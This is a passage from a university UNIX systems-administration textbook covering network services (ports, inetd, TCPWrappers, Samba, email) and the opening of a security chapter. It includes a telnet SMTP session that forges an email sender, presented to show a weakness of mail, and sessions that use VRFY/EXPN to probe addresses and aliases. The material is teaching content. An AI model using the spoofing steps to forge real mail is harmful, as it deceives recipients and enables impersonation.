user at another host, how is it delivered?
The provision of network services like FTP, telnet, e-mail and others relies on these
following components
 network ports,
Network ports are the logical (that means that ports are an imaginary construct
which exists only in software) connections through which the information flows
into and out of a machine. A single machine can have thousands of programs all
sending and receiving information via the network at the same time. The delivery
of this information to the right programs is achieved through ports.
 network servers,
Network servers are the programs that sit listening at pre-defined ports waiting for
connections from other hosts. These servers wait for a request, perform some

David Jones, Bruce Jamieson (2/20/25) Page 424

85321, Systems Administration Chapter 16: Network Applications

action and send a response back to the program that requested the action. In
general network servers operate as daemons.
 network clients, and
Users access network services using client programs. Example network clients
include Netscape, Eudora and the ftp command on a UNIX machine.
 network protocols.
Network protocols specify how the network clients and servers communicate.
They define the small "language" which both understand.

Ports
All network protocols, including http ftp SMTP, use either TCP or UDP to deliver
information. Every TCP or UDP header contains two 16 bit numbers that are used to
identify the source port (the port through which the information was sent) and the
destination port (the port through which the information must be delivered.)
Similarly, the IP header also contains numbers which describe the IP addresses of the
computers which are sending and receiving the current packet.
Since port numbers are 16 bit numbers, there can be approximately 64,000 (216 is
about 64,000) different ports. Some of these ports are used for predefined purposes.
The ports 0-256 are used by the network servers for well known Internet services (e.g.
telnet, FTP, SMTP). Ports in the range from 256-1024 are used for network services
that were originally UNIX specific. Network client programs and other programs
should use ports above 1024.
Table 16.1 lists some of the port numbers for well known services.
Port number Purpose
20 ftp-data
21 ftp
23 telnet
25 SMTP (mail)
80 http (WWW)
119 nntp (network news)
Ta b l e 1 6 . 1
Reserved Ports

This means that when you look at a TCP/UDP packet and see that it is addressed to
port 25 then you can be sure that it is part of an email message being sent to a SMTP
server. A packet destined for port 80 is likely to be a request to a Web server.

Reserved ports
So how does the computer know which ports are reserved for special services? On a
UNIX computer this is specified by the file /etc/services. Each line in the
services file is of the format

David Jones, Bruce Jamieson (2/20/25) Page 425

 85321, Systems Administration Chapter 16: Network Applications

service-name port/protocol aliases

Where service-name is the official name for the service, port is the port number that
it listens on, protocol is the transport protocol it uses and aliases is a list of
alternate names.
The following is an extract from an example /etc/services file. Most
/etc/services files will be the same, or at least very similar.

echo 7/tcp
echo 7/udp
discard 9/tcp sink null
discard 9/udp sink null
systat 11/tcp users
daytime 13/tcp
daytime 13/udp
ftp-data 20/tcp
ftp 21/tcp
telnet 23/tcp
smtp 25/tcp mail
nntp 119/tcp usenet # Network News Transfer
ntp 123/tcp # Network Time Protocol
You should be able to match some of the entries in the above example, or in the
/etc/services file on your computer, with the entries in Table 16.1.

Exercises

16.1 Examine your /etc/services file and discover the port on which the
following protocols are used
http
gopher
pop3

Look at ports, netstat

The netstat command can be used for a number of purposes including looking at
all of the current active network connections. The following is an example of the
output that netstat can produce (it's been edited to reduce the size).
[david@cq-pan:~]$ netstat -a
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (State) User
root
tcp 1 7246 cq-pan.cqu.edu.au:www lore.cs.purdue.e:42468 CLOSING root
tcp 0 0 cq-pan.cqu.edu.au:www sdlab142.syd.cqu.:1449 CLOSE root
tcp 0 0 cq-pan.cqu.edu.au:www dialup102-4-9.swi:1498 FIN_WAIT2 root
tcp 0 22528 cq-pan.cqu.edu.au:www 205.216.78.103:3058 CLOSE root
tcp 1 22528 cq-pan.cqu.edu.au:www barney.poly.edu:47547 CLOSE root
tcp 0 0 cq-pan.cqu.edu.au:www eda.mdc.net:2395 CLOSE root
tcp 0 22528 cq-pan.cqu.edu.au:www eda.mdc.net:2397 CLOSE root
tcp 0 0 cq-pan.cqu.edu.au:www cphppp134.cyberne:1657 FIN_WAIT2 root
tcp 0 22528 cq-pan.cqu.edu.au:www port3.southwind.c:1080 CLOSE root

David Jones, Bruce Jamieson (2/20/25) Page 426

 85321, Systems Administration Chapter 16: Network Applications

tcp 0 9 cq-pan.cqu.edu.:telnet dinbig.cqu.edu.au:1107 ESTABLISHED root

tcp 0 0 cq-pan.cqu.edu.au:ftp ppp2-24.INRE.ASU.:1718 FIN_WAIT2 root

Explanation
Table 16.2 explains each column of the output. Taking the column descriptions from
the table, it is possible to make some observations
 All of the entries, but the last two, are for people accessing this machine's (cq-
pan.cqu.edu.au) World-Wide Web server.
You can say this because of cq-pan.cqu.edu.au:www. This tells us that the
port on the local machine is the www port (port 80).
 In the second last entry, I am telneting to cq-pan from my machine at home.
At that stage my machine at home was called dinbig.cqu.edu.au. The
telnet client is using port 1107 on dinbig to talk to the telnet daemon.
 the last entry is someone connecting to CQ-PAN's ftp server,
 the connection for the first entry is shut down but not all the data has been sent
(this is what the CLOSING state means).
This entry, from a machine from Purdue University in the United States, still has
7246 bytes still to be acknowledged

Column name Explanation

Proto the name of the transport protocol (TCP or UDP) being used
Recv-Q the number of bytes not copied to the receiving process
Send-Q the number of bytes not yet acknowledged by the remote host
Local Address the local hostname (or IP address) and port of the connection
Foreign
Address the remote hostname (or IP address) and remote port
the state of the connection (only used for TCP because UDP doesn't establish a
State
connection), the values are described in the man page
some systems display the user that owns the local program serving the
User
connection
Ta b l e 1 6 . 2
Columns for net stat

Network servers
The /etc/services file specifies which port a particular protocol will listen on. For
example SMTP (Simple Mail Transfer Protocol, the protocol used to transfer mail
between different machines on a TCP/IP network) uses port 25. This means that there
is a network server that listens for SMTP connections on port 25.
This begs some questions
 How do we know which program acts as the network server for which protocol?

David Jones, Bruce Jamieson (2/20/25) Page 427

 85321, Systems Administration Chapter 16: Network Applications

 How is that program started?

How network servers start

There are two methods by which network servers are started
 executed as a normal program (usually in the startup files)
Servers started in this manner will show up in a ps list of all the current running
processes. These servers are always running, waiting for a connection on the
specified port. This means that the server is using up system resources (RAM etc)
because it is always in existence but it also means that it is very quick to respond
when requests arrive for their services.
 by the inetd daemon
The inetd daemon listens at a number of ports and when information arrives, it
starts the appropriate network server for that port. Which server, for which port, is
specified in the configuration file /etc/inetd.conf.
Starting a network server via inetd is usually done when there aren't many
connections for that server. If a network server is likely to get a large number of
connections (a busy mail or WWW server for example) the daemon for that service
should be started in the system startup files and always listen on the port.
The reason for this is overhead. Using inetd takes longer.

/etc/inetd.conf

The /etc/inetd.conf file specifies the network servers that the inetd daemon
should execute. The inetd.conf file consists of one line for each network service
using the following format (Table 16.3 explains the purpose of each field).

service-name socket-type protocol flags user server_program args

Field Purpose
service-name The service name, the same as that listed in /etc/services
The type of data delivery services used (we don't cover this).
socket-type Values are generally stream for TCP, dgram for UDP and raw for
direct IP
the transport protocol used, the name matches that in the
protocol
/etc/protocols file
how inetd is to behave with regards this service (not explained
flags
any further)
the username to run the server as, usually root but there are some
user
exceptions, generally for security reasons
server_program the full path to the program to run as the server
args command line arguments to pass to the server program
Ta b l e 1 6 . 3
Fields of /etc/inetd.conf

David Jones, Bruce Jamieson (2/20/25) Page 428

85321, Systems Administration Chapter 16: Network Applications

How it works
Whenever the machine receives a request on a port (on which the inetd daemon is
listening on), the inetd daemon decides which program to execute on the basis of the
/etc/inetd.conf file.

David Jones, Bruce Jamieson (2/20/25) Page 429

85321, Systems Administration Chapter 16: Network Applications

Exercises

16.2 top is a UNIX command which will give you a progressive display of the
current running processes. Use top to observer what happens when a
network server is started. For example, start top and then try to telnet or
ftp to your machine. Can you see the appropriate server start?
16.3 What happens if you change the /etc/inetd.conf file? Does the inetd
daemon pick up the change automatically? How would you notify inetd of
the change?
Note: you WILL have to experiment to find out the answer to this question. It
isn't included in the study material. A suggested experiment is the following:
try the command telnet localhost, this should cause inetd to do some
work; if it works, comment out the entry in the inetd.conf file for the telnet
service try the first command again.
Does it work? If it does then inetd hasn't seen the change. How do you tell
it?
16.4 One way to increase the security of your system is to change the ports on
which standard services operate on. For example, rather than having
incoming telnet connection occur on port 23 you could move it to port
5000 (rather than using the command telnet localhost you would use
the command telnet localhost 5000). Modify your system so that
it works this way.
(Note: this is what is called security by obscurity. That is, it relies on people
not knowing something in order for it to be secure. This doesn't make a
security scheme secure, but then it doesn't make it less secure either).

Network clients
All of you will have used a number of network client programs. If you are reading this
online you will be using a WWW browser. It's a network client program. When you
used the command telnet in the last exercise you were using a network client
program.
A network client is simply a program (whether it is text based or a GUI program) that
knows how to connect to a network server, pass requests to the server and then receive
replies.

The telnet client

David Jones, Bruce Jamieson (2/20/25) Page 430

85321, Systems Administration Chapter 16: Network Applications

By default when you use the command telnet jasper, the telnet client program
will attempt to connect to port 23 of the host jasper (23 is the telnet port as listed in
/etc/services).

It is possible to use the telnet client program to connect to other ports. For example
the command telnet jasper 25 will connect to port 25 of the machine jasper.

The usefulness and problem with this will be discussed on the next couple of pages.

Network protocols
Each network service generally uses its own network protocol that specifies the
services it offers, how those services are requested and how they are supplied. For
example, the ftp protocol defines the commands that can be used to move files from
machine to machine. When you use a command line ftp client, the commands you use
are part of the ftp protocol.

Request for comment (RFCs)

For protocols to be useful, both the client and server must agree on using the same
protocol. If they talk different protocols then no communication can occur. The
standards used on the Internet, including those for protocols, are commonly specified
in documents called Request for Comments (RFCs). (Not all RFCs are standards).
Someone proposing a new Internet standard will write and submit an RFC. The RFC
will be distributed to the Internet community who will comment on it and may suggest
changes. The standard proposed by the RFC will be adopted as a standard if the
community is happy with it.
Protocol RFC
FTP 959
Telnet 854
SMTP 821
DNS 1035
TCP 793
UDP 768
Ta b l e 1 6 . 4
RFCs for Protocols

Table 16.4 lists some of the RFC numbers which describe particular protocols. RFCs
can and often are very technical and hard to understand unless you are familiar with
the area (the RFC for ftp is about 80 pages long).

Text based protocols

David Jones, Bruce Jamieson (2/20/25) Page 431

85321, Systems Administration Chapter 16: Network Applications

Some of these protocols smtp ftp nntp http are text based. They make use of
simple text-based commands to perform their duty. Table 16.5 contains a list of the
commands that smtp understands. smtp (simple mail transfer protocol) is used to
transport mail messages across a TCP/IP network.

David Jones, Bruce Jamieson (2/20/25) Page 432

 85321, Systems Administration Chapter 16: Network Applications

Command Purpose
HELO hostname startup and give your hostname
MAIL FROM: sender-address mail is coming from this address
TO: recipient-address please send it to this address
VRFY address does this address actually exist (verify)
EXPN address expand this address
I'm about to start giving you the body of the mail
DATA
message
oops, reset the state and drop the current mail
RSET
message
NOOP do nothing
DEBUG [level] set debugging level
HELP give me some help please
QUIT close this connection
Ta b l e 1 6 . 5
SMTP commands

How it works
When transferring a mail message a client (such as Eudora) will connect to the SMTP
server (on port 25). The client will then carry out a conversation with the server using
the commands from Table 16.5. Since these commands are just straight text you can
use telnet to simulate the actions of an email client.
Doing this actually has some real use. I often use this ability to check on a mail
address or to expand a mail alias. The following shows an example of how I might do
this.
The text in bold is what I've typed in. The text in italics are comments I've added after
the fact.

beldin:~$ telnet localhost 25

Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220-beldin.cqu.edu.au Sendmail 8.6.12/8.6.9 ready at Wed, 1 May 1996
13:20:10 +1 000
220 ESMTP spoken here
vrfy david check the address david
250 David Jones <[email protected]
vrfy joe check the address joe
550 joe... User unknown
vrfy postmaster check the address postmaster
250 <[email protected]

David Jones, Bruce Jamieson (2/20/25) Page 433

 85321, Systems Administration Chapter 16: Network Applications

expn postmaster postmaster is usually an alias, who is it really??

250 root <[email protected]

David Jones, Bruce Jamieson (2/20/25) Page 434

 85321, Systems Administration Chapter 16: Network Applications

Mail spoofing
This same approach can be used to spoof mail, that is, send email as someone you are
not. This is one of problems with Internet mail. The following is an example of how
it's done.

bash$ telnet aldur 25 connect to the smtp port (see /etc/services)

Trying 138.77.36.29 ...
Connected to aldur.cqu.edu.au.
Escape character is '^]'.
220 aldur.cqu.edu.au Amix Smail3.1.28.1 #2 ready at Sun, 28 Aug 94 12:04
EST
helo aldur tell the machine who I am (the name of another machine not a user)
250 aldur.cqu.edu.au Hello aldur
mail from: [email protected] this is who the mail is coming from
250 <god@heaven> ... Sender Okay
data I want to enter some data which is the message
503 Need RCPT (recipient) can't do that yet, must tell it who to send message to
rcpt: david@aldur
500 Command unrecognized oops, typed it wrong
rcpt to: david@aldur
250 <david@aldur> ... Recipient Okay
data
354 Enter mail, end with "." on a line by itself
You have been a naughty boy type in the message
.
250 Mail accepted
quit bye, bye
221 aldur.cqu.edu.au closing connection
Connection closed by foreign host.
There are methods which can be used to identify email sent in this way.

Exercises

16.5 Using the "telnet" approach connect to an ftp server and a http server.
What commands do they recognise?

Security
Putting your computer on a network, especially the Internet, makes it accessible to a
lot of other people and not all of those people are nice. It is essential that you put in
place some sort of security to protect your system from these nasty people. The next
chapter takes a more indepth look at security. In this section we examine some of the

David Jones, Bruce Jamieson (2/20/25) Page 435

 85321, Systems Administration Chapter 16: Network Applications

steps you can take to increase the security of your system including TCPWrappers,
packet filtering and encryption.

TCPWrappers/tcpd
The following are entries from two different /etc/inetd.conf files. Both are the
entries dealing with the telnet service. The second entry is from a "modern" Linux
machine, the first is from an earlier UNIX machine.

telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

telnet stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.telnetd

The difference
Do you notice the difference? The program being run on the Linux machine is
/usr/sbin/tcpd. If you examine the entries in a Linux machine's /etc/inetd.conf
you will find that this program is executed for all (almost) network services.
tcpd is the public domain program TCPWrappers that comes standard on all Linux
machines. It is a special daemon that provides some additional services including
added security, access control and logging facilities for all network connections.
TCPWrappers works by being inserted between the inetd daemon and the various
network daemons that are executed by inetd.
Figures 16.1 and 16.2 demonstrate the difference.
Figure 16.1
inetd by itself

Figure
16.2
inetd
with
tcpd

tcpd

features
tcpd works as follows

 a request for a particular network request is received,

 the configuration of inetd is such that tcpd is executed rather than the actual
server for this request,
 tcpd logs the request via syslog,
On RedHat 5.0 each connection is logged into the file /var/log/secure.
Information stored includes the time it was made, the host trying to make the

David Jones, Bruce Jamieson (2/20/25) Page 436

 85321, Systems Administration Chapter 16: Network Applications

connection and the name of the network service being requested. An example
entry looks like
May 1 12:13:46 beldin in.telnetd[684]: connect from localhost
 tcpd then performs a number of checks,
These checks make use of some the extra features of tcpd including
 pattern-based access control.
This allows you to specify which hosts are allowed (or not) to use a particular
network service. You can use this feature to restrict who can make use of your
network services. tcpd also allows you to execute UNIX commands when a
particular type of connection occurs.

Exercises

16.6 The manual page for tcpd says that more information about the access
control features of tcpd can be found on the hosts_access(5) manual
page. What command would you use to view this page?

 hostname verification,
Some of the network protocols rely on hostnames for authentication. For
example, you may only be able to use the rsh command if your computer is
called beldin.cqu.edu.au. It is possible for people to setup computers that
will pretend to be another hostname. tcpd offers a feature which will verify that
a host is really who they say they are.
 protection against host address spoofing.
It is also possible to spoof an IP address. That is, packets being sent from
machine are modified to look as if they are being sent from another, trusted,
machine. tcpd offers a feature to detect and reject any connections of this type.

While most Linux systems come with tcpd as standard many commercial systems
don't. tcpd is in the public domain and can be compiled for most UNIX platforms.

Exercises

16.7 Using tcpd how would you achieve the following

– Configure your machine so there are no network services available.
– Once you've done this attempt to telnet and ftp to your machine.
Keep this tcpd configuration for all the exercises in this group.
16.8 What effect would the previous question have on the ability for your machine
to receive email?
16.9 Modify your tcpd configuration to allow the receipt of email.

David Jones, Bruce Jamieson (2/20/25) Page 437

85321, Systems Administration Chapter 16: Network Applications

16.10 Try connecting to the Web server on your machine. Assuming you have a
standard RedHat 5.0 installation you should still be able to connect to the
Web server. Why can you still do this? Shouldn't your tcpd configuration
have stopped this?
Other methods for securing a network connection are discussed in the security chapter.

What's an Intranet?
Intranets are the latest buzzword in the computer industry. The buzzword makers have
finally realised the importance of the Internet (and the protocols with which it was
constructed) and have started adopting it for a number of purposes. An intranet is
basically a local area network used by an organisation that uses the Internet protocols
to provide the services normally associated with a LAN plus offering Internet services
(but not necessarily Internet access).

Services on an Intranet
The following is a list of the most common services that an Intranet might supply (by
no means all of them). This is the list of services we'll discuss in more detail in this
chapter. The list includes
 file sharing,
The common ability to share access to applications and data files. It's much
simpler to install one copy of an application on a network server than it is to install
35 copies on each individual PC.
 print sharing, and
The ability for many different machines to share a printer. It is especially
economically if the printer is an expensive, good quality printer.
 electronic mail.
Sometimes called messaging. Electronic mail is fast becoming an essential tool
for most businesses.

File and print sharing

There is a famous saying in the computing field.
The nice thing about standards is that there are so many to choose
from.
This statement is especially true in the area of sharing printers and files in a local area
network. Some of the different protocols are outlined in Table 16.6 which also
describes the origins of each protocol.

David Jones, Bruce Jamieson (2/20/25) Page 438

 85321, Systems Administration Chapter 16: Network Applications

Name Description
Server Message The protocol used by Windows for Workgroups, 95 and NT and
Block OS/2 and a couple of others. Becoming the protocol with the
(SMB) largest number of clients.
Netware is the term used to describe Novell's network OS.
Netware Includes the protocols IPX and NCP (amongst others). A very
popular, but possibly dying, network operating system (NOS).
The networking built-in to all Macintosh computers. Many
Appletalk
Macs now use MacTCP which allows them to "talk" TCP/IP.
Network File System The traditional UNIX based file sharing system. NFS clients
(NFS) and servers are available for most platforms.
Ta b l e 1 6 . 6
Protocols for sharing files and printers

Due to a number of free software packages, Linux, and most versions of UNIX, can
actually act as a server for all of the protocols listed above. Due to the popularity of
the Windows family of operating systems, the following will examine the SMB
protocols.
The "native" form of file sharing on a UNIX machine is NFS. If you wanted to share
files between UNIX machines, NFS would be the choice.

Samba
Samba is a piece of software, originally written by Andrew Tridgell (a resident of
Canberra), and now maintained by a large number of people from throughout the
world. Samba allows a UNIX machine to act as a file and print server for clients
running Windows for Workgroups, Windows 95, NT and a couple of other operating
systems.
The combination of Linux and Samba is possibly the cheapest way of obtaining a
server for a Intranet (if you don't include cost and training).
The following is a very simple introduction to how you might use Samba on a RedHat
5.0 machine. This process is much simpler on RedHat 5.0 as Samba comes pre-
configured. The readings down below provide much more information about Samba.
The configuration file for Samba is /etc/smb.conf. An entry in this
configuration file which allows a user's home directory to be exported to SMB clients
is the following

[homes]
comment = Home Directories
browseable = no
read only = no

David Jones, Bruce Jamieson (2/20/25) Page 439

 85321, Systems Administration Chapter 16: Network Applications

preserve case = yes

short preserve case = yes
create mode = 0750
If your Linux machine happens to be on a network and you have a Win95/NT or even
3.11 machine on the same network, you should be able to connect to your home
directory from
that Windows
machine using
the standard
approach for
mapping a
network drive.
Figure 16.3 is the
dialog box on a Windows 95 machine.
Figure 16.3
Dialog box for mapping a network drive.

In this example, the name of my Linux computer is beldin and my username on

beldin is david. Once connected, I can now read and write files from my home
directory from within Windows.
Chances are most of you will not have a local area network (LAN) at home that has
your RedHat Linux machine and another Windows machine connected. This makes it
difficult for you to recreate the above example. Luckily Samba comes with a
program called smbclient. smbclient is a UNIX program which allows you to
connect to Samba shares. This means when you use smbclient you are simulating
what would happen if you were using a Windows machine. The following is an
example of using smbclient to connect to the same share as in the Windows
example above.

[david@beldin david]$ smbclient '\\beldin\david'

Added interface ip=138.77.36.28 bcast=138.77.36.255 nmask=255.255.255.0
Unknown socket option TCP_NODELAY
Server time is Fri Feb 6 14:04:50 1998
Timezone is UTC+10.0
Password:
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 1.9.17p4]
security=user
smb: \> help
ls dir lcd cd pwd

get mget put mput rename

more mask del rm mkdir

md rmdir rd pq prompt

recurse translate lowercase print printmode

queue qinfo cancel stat quit

David Jones, Bruce Jamieson (2/20/25) Page 440

 85321, Systems Administration Chapter 16: Network Applications

q exit newer archive tar

blocksize tarmode setmode help ?

!
smb: \> ls *.pdf
ei010106.pdf 129777 Mon Jan 26 12:34:06
1998
ei020102.pdf 229292 Mon Jan 26 12:34:54
1998
ei020103.pdf 291979 Mon Jan 26 12:35:22
1998

50176 blocks of size 16384. 2963 blocks available

smb: \>
Once you connect with smbclient you see the smbclient prompt at which you
can enter a number of commands. This acts a bit like a command-line ftp prompt.

David Jones, Bruce Jamieson (2/20/25) Page 441

85321, Systems Administration Chapter 16: Network Applications

Reading

The Resource Materials section for week 10 provides pointers to more

information about Samba including the Samba home page and the Samba HOW-
TO.

Exercises

16.11 Check that Samba is installed and configured on your system. Use
smbclient or a Windows machine to see if you can connect to your home
directory.

Email
Electronic mail, at least on the surface, looks fairly easy. However there are a number
of issues that make configuring and maintaining Internet electronic mail a complex
and occasionally frustrating task. Examining this task in-depth is beyond the scope of
this subject. Instead, the following pages will provide an overview of the electronic
mail system.

Email components
Programs that help send, reply and distribute email are divided into three categories
 mail user agents (MUA),
These are the programs that people use to read and send email. Common MUAs
include Eudora, Netscape (it has a mail and news reader as well as a Web browser)
and text-based tools such as elm or pine. MUAs allow a user to read and write
email.
 mail delivery agents (MDA),
Once a mail message is delivered to the right computer, the MDA is responsible
for placing it into the appropriate mail file.
 mail transport agents (MTA).
Perform a number of tasks including some delivery, forwarding of email to other
MTAs closer to the final recipient and some address translation.

Figure 16.4 provides an overview of how these components fit together.

David Jones, Bruce Jamieson (2/20/25) Page 442

85321, Systems Administration Chapter 16: Network Applications

Figure 16.4
An overview of the mail system

The following is a brief description of how email is delivered for most people
 Mail server
Most people will have an account on a mail server which will be running UNIX,
Windows NT or some other operating system. At a minimum, the user's account
will include a mail file. All email delivered for that user is appended onto the end
of that mail file.
 Remote mail client
Reading and writing mail for most people is done using a MUA like Eudora or
Netscape on a remote mail client. This "remote mail client" is the user's normal
computer they use for normal applications. The client mail computer will retrieve
the user's mail from the mail server using a protocol such as POP or IMAP (see
Table 16.6). Sending email will be via the SMTP protocol to the mail server's
SMTP daemon (sendmail if it’s the server is a UNIX computer).

Email Protocols

David Jones, Bruce Jamieson (2/20/25) Page 443

 85321, Systems Administration Chapter 16: Network Applications

Table 16.7 lists some of the common protocols associated with email and briefly
describes their purpose.

Protocol Description
Simple Mail Transport Protocol, the protocol used to transport mail
SMTP
from one Internet host to another
Post Office Protocol, defines a method by which a small host can
POP obtain mail from a larger host without running a MTA (like
sendmail). Described in RFCs 1725 1734
Internet Message Access Protocol, allows client mail programs to
access and manipulate electronic mail messags on a server,
IMAP
including the manipulation of folders. Described in RFCs 1730,
1731.
Multipurpose Internet Mail Extensions, defines methods for sending
binary data such as Word documents, pictures and sounds via
MIME
Internet email which is distributed as text. Described in RFCs 1521
1522 and others.
Privacy-Enhanced Mail, message encryption and authentication
PEM procedures, proposed standard outlined in RFCs 1421, 1422 and
1423
Format of text
The standard format of Internet email which is described in RFC822
messages
Ta b l e 1 6 . 7
Protocols and standards associated with Email

Unix mail software

Your RedHat 5.0 Linux machine will include the following software related to email
 sendmail
sendmail is the UNIX MTA. It may well be one of the most difficult and hated
pieces of software in the world. However, recent versions have solved many of
its problems. sendmail is the SMTP daemon on most UNIX machines. That
is it is the server that handles SMTP requests.
 popd
The pop daemon is contacted by MTAs such as Eudora when they wish to transfer
a user's email from the server onto the client.
 imapd
The imap daemon may not be installed on all machines but it is distributed with
RedHat 5.0. imapd responds to MTAs which use imap to transfer email from the
server to the client. The readings below contain a pointer to a document which
describes the differences between IMAP and POP.

David Jones, Bruce Jamieson (2/20/25) Page 444

85321, Systems Administration Chapter 16: Network Applications

 various mail clients

A RedHat 5.0 machine will include a number of mail clients including mutt,
elm, pine and mh.

David Jones, Bruce Jamieson (2/20/25) Page 445

85321, Systems Administration Chapter 16: Network Applications

Reading

The resource materials section on the 85321 Website/CD-ROM has pointers to a

number of documents including a sendmail tutorial and a comparison of IMAP
and POP. You will need to use these resources for the following exercise.

Exercises

16.12 Setup email on your Linux machine (refer to the Linux mail HOW-TO).
Included in the procedure, obtain a POP mail client and get it working. The
Netscape web browser includes a POP mail client for UNIX (it's what I use to
read my mail).
16.13 The latest versions of Netscape also support IMAP. Configure your system to
use IMAP rather than POP.

World-Wide Web
The World-Wide Web is the killer application which has really taken the Internet by
storm. Most of the Web servers currently on the Internet are UNIX machines running
the Apache Web server (http://www.apache.org/). RedHat 5.0 comes with Apache
pre-installed. If you use a Web browser to connect to your Linux machine (e.g.
http://localhost/) Redhat provides pointers to documentation on configuring Apache.

Reading

The resource materials section for week 10 has a pointer called "Apache still
King" which is an article reporting on a survey which found that over 50% of the
Web sites surveyed are running Apache.

Conclusions
This chapter has looked in general at how network services work and in particular at
file and print sharing with Samba, email and World-Wide Web. Most network services
consist of a server program responding to the requests from a client program. The
client and server use a predefined protocol to exchange information. Information
transferred between the client and server goes through ports.
Network ports are used to deliver information to one of the many network applications
that may be running on a computer. Network ports from 0-1024 are used for pre-
defined purposes. The allocation of those ports to applications is done in the

David Jones, Bruce Jamieson (2/20/25) Page 446

85321, Systems Administration Chapter 16: Network Applications

/etc/services file. The netstat command can be used to examine the currently
active network connections including which ports are being used.
Network servers generally run as daemons waiting for a request. Servers are either
started in the system start-up scripts (/etc/rc.d/*) or by the inetd daemon. The file
/etc/inetd.conf is used to configure which servers inetd will start.

Most Linux systems come already installed with tcpd (TCPWrappers). tcpd works
with inetd to provide a number of additional features including logging, user
validation and access control.
Intranets are the latest industry buzzword and are simply a local area network built
using Internet protocols. Linux in conjunction with Samba and other public domain
tools can act as a very cheap Intranet server offering file and print services, WWW
server, electronic mail, ftp and other Internet services. Samba is a public domain
piece of software that enables a UNIX computer to act as a file and printer server for
client machines running Windows and other LanManager clients.
Programs associated with email are placed into one of three categories
 mail user agents (MUA)
 mail transport agents (MTA)
 mail delivery agents (MDA)
sendmail is possibly the most popular and flexible mail transport agent. Much of its
fearful reputation comes from the concise syntax of its configuration file
/etc/sendmail.cf.

Review Questions

16.1

Explain the role each of the following play in UNIX networking

/etc/services

/etc/inetd.conf

inetd

tcpd

16.2
You've just obtained the daemon for WWWWW (the fictious replacement for the
WWW). The daemon uses the protocol HTTTTTTP, wants to use port 81 and is likely

David Jones, Bruce Jamieson (2/20/25) Page 447

85321, Systems Administration Chapter 16: Network Applications

to get many requests. Outline the steps you would have to complete to install the
daemon including
 the files you would have to modify and why
 how you would start the daemon (it's a program called htttttpd)

David Jones, Bruce Jamieson (2/20/25) Page 448

85321, Systems Administration Chapter 17: Security

16.3
People have been trying to telnet to your machine server.my.domain. List all the
things that could be stopping them from logging in.

Chapter 17
Security

A chain is only as strong as its weakest link.

Proverb

If a cracker obtains a login on a machine, there is a good chance he can become

root sooner or later. There are many buggy programs that run at high privileged
levels that offer opportunities for a cracker. If he gets a login on your computer,
you are in trouble.
Bill Cheswick

Introduction
As a Systems Administrator you are responsible for maintaining the integrity and
security of the systems you administer. Given the weaknesses in a lot of software and
the frailties of the human beings using your systems (not to mention yours) this is a far
from easy task. This chapter introduces you to many of the security-related issues
you must consider.
As a Systems Administrator you will need to do the following
 evaluate the security of your site
Determine what the security needs of your site are. What are the current security
holes on your site? To do this you will need to know how people break into
systems. This chapter provides pointers to tools and documentation used to
compromise the security of systems. An important part of this step is also
identifying how secure you want your system to be.
 remedy and implement
Once you've found the security holes you have to plug them. To do this you need
to understand a number of basic concepts. This chapter introduces those
concepts.

David Jones, Bruce Jamieson (2/20/25) Page 449

85321, Systems Administration Chapter 17: Security

 observe and maintain

A system doesn't stay secure. Installing new software, adding new users and the
attentions of crackers all contribute to the need for you to maintain a vigil
watching the security of your system.
 stay informed
New security holes and methods for breaking in are always being discovered. For
your site to stay secure you must keep up to date with all new events.

David Jones, Bruce Jamieson (2/20/25) Page 450

85321, Systems Administration Chapter 17: Security

Important
Much of the information introduced in this chapter can be put to
malicious use. Such use can result in quite severe consequences.
You can be excluded from the University, fail this unit and even be
brought up on criminal charges. Any 85321 student found using
the information in this chapter illegally will fail the unit.
This chapter provides a very brief overview of some of the issues involved. There is
a lot more to computer security than what is mentioned here. There is a great deal of
information about this topic on the Web, in magazines and in books.

Why have security?

Why bother with security? No-one's going to break into my machine are they? Here
are some reasons why security is extremely important
 the FBI estimates $(US)7.5 billion is lost annually to electronic attack
 the US Department of Defense found that 88% of their computers are penetrable
and in 96% of the cases where the crackers got in, their intrusions went undetected
 in 1993, CERT found a 73% increase in security breaks
 the Wall Street Journal on August 21, 1995 reports
"Russian computer cracker successfully breached a large number of Citicorp
corporate accounts, stealing $400,000 and illegally transferring an additional $11.6
million…".
 reports of computer crime are increasing at more than 150% a year,

A recent set of tests performed with freely available security tools available on the
Internet (these tools are introduced in this chapter) gave the following results
 88% of attempted break-ins were successful,
 96% were undetected,
 in 95% of times when attacks were detected nothing was done.
As a Systems Administrator you must be concerned with security.
Another important finding is that the great majority of break-ins or illegal uses of
information stored on computers is done by people from within the organisation, such
as disgruntled workers using their access for personal gain. Security is not always
protecting a system from people outside the system.

David Jones, Bruce Jamieson (2/20/25) Page 451

85321, Systems Administration Chapter 17: Security

Before you start

Before evaluating the security of your system, you need to decide how important
security is for your site.

Security versus convenience

A machine running the UNIX operating system can be made into a very secure system
if the right amount of effort is expended. However a very secure system is usually too
inconvenient for normal users to use. In implementing a security scheme, the Systems
Administrator must weigh the following costs
 the importance of the machine, its availability and the data stored on it,
Data on a computer used by first year students at a University doesn't need to be as
secure as data on a computer containing the plans for Intel's next computer chip.
 the amount of effort required to make and keep the system secure, and
It doesn't make sense to spend hundreds of thousands of dollars securing a
computer used for email by computing students.
 how the security features will affect the users of the system.
A system can be made as secure as is necessary but in doing so you might lose all
ability to make use of the machine. A machine in a room with no door and no outside
connection is very secure, but no one can use it. To make a computer 99% secure,
remove the network connection, to make the computer 100% secure, remove the
power cord.
The Systems Administrator must balance the needs for convenience against the need
for security.

A security policy
The following is taken from the AUSCERT document, "Site Security Policy
Development" by Rob McMillan. A link to the entire document is provided on the
Resource Materials page of the 85321 Website.
In the same way that any society needs laws and guidelines to ensure safety,
organisation and parity, so any organisation requires a Site Computer Security Policy
(CSP) to ensure the safe, organised and fair use of computational resources.
The use of computer systems pervades many aspects of modern life. They include
academic, engineering, financial and medical applications. When one considers these
roles, such a policy assumes a large degree of importance.

David Jones, Bruce Jamieson (2/20/25) Page 452

85321, Systems Administration Chapter 17: Security

A CSP is a document that sets out rules and principles which affect the way an
organisation approaches problems.
Furthermore, a CSP is a document that leads to the specification of the agreed
conditions of use of an organisation's resources for users and other clients. It also sets
out the rights that they can expect with that use.
